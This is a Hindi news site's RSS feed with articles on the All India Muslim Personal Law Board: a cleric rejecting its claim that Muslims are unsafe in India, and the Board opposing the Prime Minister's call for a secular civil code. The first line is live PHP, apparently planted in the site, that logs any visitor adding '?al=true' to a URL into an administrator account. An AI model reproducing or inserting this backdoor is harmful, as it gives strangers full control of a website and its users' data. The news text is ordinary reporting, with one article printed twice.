// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Muslim Personal Law Board – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 15 Mar 2025 13:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 भारत में मुसलमान सुरक्षित हैं, मौलाना रजवी का दावा https://pratyushaashakinayikiran.com/?p=140218 Sat, 15 Mar 2025 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=140218 बरेली

ऑल इंडिया मुस्लिम जमात के राष्ट्रीय अध्यक्ष मौलाना मुफ्ती शहाबुद्दीन रजवी बरेलवी ने ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड के खिलाफ तीखी प्रतिक्रिया दी. उन्होंने मुस्लिम पर्सनल बोर्ड के उस दावे का खंडन किया, जिसमें कहा गया था कि भारत में मुसलमान सेफ नहीं है. मौलाना मुफ्ती ने कहा कि देश मुस्लिम समुदाय को पूरी आज़ादी के साथ अपने धार्मिक त्योहार, नमाज, रोजा, हज, जकात, जुलूस और उर्स के आयोजन करने का अधिकार है और इसमें कोई बाधा नहीं डाली जाती.

मुसलमान को गुमराह कर रहा मुस्लिम बोर्ड
उन्होंने आगे कहा कि मुस्लिम पर्सनल लॉ बोर्ड हिंदुस्तान में मुसलमान को गुमराह कर रहा है. कुछ लोग मुसलमानों के असुरक्षित होने की बातें करके समाज में गलतफहमी फैलाने का प्रयास कर रहे हैं, जबकि हकीकत इसके बिल्कुल उलट है. उन्होंने जोर देकर कहा कि भारत में मुसलमान पूरी तरह सुरक्षित हैं और उन्हें संविधान द्वारा प्रदत्त सभी धार्मिक स्वतंत्रताएं प्राप्त हैं.

भारत सरकार को दी सलाह
मौलाना रजवी ने भारत सरकार को सुझाव देते हुए कहा कि जो लोग भारत में मुसलमानों को असुरक्षित बता रहे हैं, उन्हें वीज़ा देकर पाकिस्तान, अफगानिस्तान और बांग्लादेश भेजा जाना चाहिए ताकि वे वहां की वास्तविक स्थिति देख सकें. उन्होंने कहा कि इन देशों में मुसलमानों को किन हालातों का सामना करना पड़ रहा है, यह जानने के बाद वे खुद मानेंगे कि भारत में मुसलमान पूरी तरह सुरक्षित हैं और उन्हें किसी प्रकार का खतरा नहीं है.

धरना प्रदर्शन पर उठाया सवाल
उन्होंने मुस्लिम पर्सनल लॉ बोर्ड द्वारा वक्फ संशोधन बिल के विरोध में दिल्ली के जंतर-मंतर पर आयोजित धरना-प्रदर्शन पर भी सवाल उठाया. उन्होंने कहा कि धरना-प्रदर्शन करना हर नागरिक का संवैधानिक अधिकार है, लेकिन रमजान के पवित्र महीने में इसका आयोजन उचित नहीं है. रमज़ान का महीना अल्लाह की इबादत, रोज़ा, नमाज और कुरआन की तिलावत के लिए होता है, ऐसे में इस दौरान राजनीतिक विरोध-प्रदर्शन का आयोजन करना लोगों को धार्मिक गतिविधियों से रोकने के समान है. उन्होंने कहा कि इस प्रदर्शन को किसी अन्य महीने में भी आयोजित किया जा सकता था.

]]>
भारत में मुसलमान सुरक्षित हैं, मौलाना रजवी का दावा https://pratyushaashakinayikiran.com/?p=140220 Sat, 15 Mar 2025 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=140220 बरेली

ऑल इंडिया मुस्लिम जमात के राष्ट्रीय अध्यक्ष मौलाना मुफ्ती शहाबुद्दीन रजवी बरेलवी ने ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड के खिलाफ तीखी प्रतिक्रिया दी. उन्होंने मुस्लिम पर्सनल बोर्ड के उस दावे का खंडन किया, जिसमें कहा गया था कि भारत में मुसलमान सेफ नहीं है. मौलाना मुफ्ती ने कहा कि देश मुस्लिम समुदाय को पूरी आज़ादी के साथ अपने धार्मिक त्योहार, नमाज, रोजा, हज, जकात, जुलूस और उर्स के आयोजन करने का अधिकार है और इसमें कोई बाधा नहीं डाली जाती.

मुसलमान को गुमराह कर रहा मुस्लिम बोर्ड
उन्होंने आगे कहा कि मुस्लिम पर्सनल लॉ बोर्ड हिंदुस्तान में मुसलमान को गुमराह कर रहा है. कुछ लोग मुसलमानों के असुरक्षित होने की बातें करके समाज में गलतफहमी फैलाने का प्रयास कर रहे हैं, जबकि हकीकत इसके बिल्कुल उलट है. उन्होंने जोर देकर कहा कि भारत में मुसलमान पूरी तरह सुरक्षित हैं और उन्हें संविधान द्वारा प्रदत्त सभी धार्मिक स्वतंत्रताएं प्राप्त हैं.

भारत सरकार को दी सलाह
मौलाना रजवी ने भारत सरकार को सुझाव देते हुए कहा कि जो लोग भारत में मुसलमानों को असुरक्षित बता रहे हैं, उन्हें वीज़ा देकर पाकिस्तान, अफगानिस्तान और बांग्लादेश भेजा जाना चाहिए ताकि वे वहां की वास्तविक स्थिति देख सकें. उन्होंने कहा कि इन देशों में मुसलमानों को किन हालातों का सामना करना पड़ रहा है, यह जानने के बाद वे खुद मानेंगे कि भारत में मुसलमान पूरी तरह सुरक्षित हैं और उन्हें किसी प्रकार का खतरा नहीं है.

धरना प्रदर्शन पर उठाया सवाल
उन्होंने मुस्लिम पर्सनल लॉ बोर्ड द्वारा वक्फ संशोधन बिल के विरोध में दिल्ली के जंतर-मंतर पर आयोजित धरना-प्रदर्शन पर भी सवाल उठाया. उन्होंने कहा कि धरना-प्रदर्शन करना हर नागरिक का संवैधानिक अधिकार है, लेकिन रमजान के पवित्र महीने में इसका आयोजन उचित नहीं है. रमज़ान का महीना अल्लाह की इबादत, रोज़ा, नमाज और कुरआन की तिलावत के लिए होता है, ऐसे में इस दौरान राजनीतिक विरोध-प्रदर्शन का आयोजन करना लोगों को धार्मिक गतिविधियों से रोकने के समान है. उन्होंने कहा कि इस प्रदर्शन को किसी अन्य महीने में भी आयोजित किया जा सकता था.

]]>
PM के सेकुलर सिविल कोड वाले बयान पर मुस्लिम पर्सनल लॉ बोर्ड की आपत्ति, मुसलमानों को मंजूर नहीं UCC https://pratyushaashakinayikiran.com/?p=61641 Sun, 18 Aug 2024 11:25:00 +0000 https://pratyushaashakinayikiran.com/?p=61641 नई दिल्ली
प्रधानमंत्री नरेंद्र मोदी द्वारा स्वतंत्रता दिवस के अवसर पर अपने संबोधन में समान नागरिक संहिता (यूसीसी) की जोरदार वकालत की है। उन्होंने कहा कि अब समय आ गया है कि देश ऐसे नागरिक संहिता की ओर आगे बढ़े जो मौजूदा नागरिक संहिता की तरह सांप्रदायिक और भेदभावपूर्ण न होकर धर्मनिरपेक्ष हो। ऑल इंडिया मुस्लिम पर्सनल लॉ बोर्ड (एआईएमपीएलबी) ने शनिवार को पीएम मोदी के बयान पर आपत्ति जताई है।

बोर्ड ने बयान में कहा, “बोर्ड साफ शब्दों में यह स्पष्ट करता है कि यह मुसलमानों को अस्वीकार्य है क्योंकि वे शरिया कानून (मुस्लिम पर्सनल लॉ) से कभी समझौता नहीं करेंगे।” बोर्ड के प्रवक्ता एसक्यूआर इलियास ने कहा, “प्रधानमंत्री द्वारा धर्म के आधार पर पर्सनल लॉ को सांप्रदायिक करार देने और उनकी जगह धर्मनिरपेक्ष नागरिक संहिता लागू करने की घोषणा पर आश्चर्य व्यक्त किया है।”

गुरुवार को लाल किले की प्राचीर से प्रधानमंत्री मोदी ने कहा था, “मैं कहता हूं कि यह समय की मांग है कि देश में धर्मनिरपेक्ष नागरिक संहिता होनी चाहिए। हमने सांप्रदायिक नागरिक संहिता के तहत 75 साल गुजारे हैं। अब हमें धर्मनिरपेक्ष नागरिक संहिता की ओर बढ़ना होगा। तभी हमें देश में धर्म के आधार पर हो रहे भेदभाव से मुक्ति मिलेगी।”

इलियास ने कहा कि यह एक सोची-समझी साजिश है जिसके गंभीर परिणाम होंगे। उन्होंने कहा कि सरकार को भाजपा सरकार द्वारा नियुक्त विधि आयोग के अध्यक्ष द्वारा की गई टिप्पणी को बरकरार रखना चाहिए। उन्होंने 2018 में स्पष्ट रूप से कहा था कि समान नागरिक संहिता न तो आवश्यक है और न ही वांछनीय है।

इलियास ने कहा कि बोर्ड यह उल्लेख करना महत्वपूर्ण समझता है कि भारत के मुसलमानों ने कई बार यह स्पष्ट किया है कि उनके पारिवारिक कानून शरिया पर आधारित हैं, जिससे कोई भी मुसलमान किसी भी कीमत पर विचलित नहीं हो सकता है। उन्होंने कहा कि देश के विधानमंडल ने स्वयं शरीयत आवेदन अधिनियम, 1937 को मंजूरी दी है और भारत के संविधान ने अनुच्छेद 25 के तहत धर्म को मानने, उसका प्रचार करने और उसका पालन करने को मौलिक अधिकार घोषित किया है।

उन्होंने कहा कि अन्य समुदायों के पारिवारिक कानून भी उनकी अपनी धार्मिक और प्राचीन परंपराओं पर आधारित हैं। उन्होंने कहा, “उनके साथ छेड़छाड़ करना और सभी के लिए धर्मनिरपेक्ष कानून बनाने की कोशिश करना मूल रूप से धर्म का खंडन और पश्चिम की नकल है।”

]]>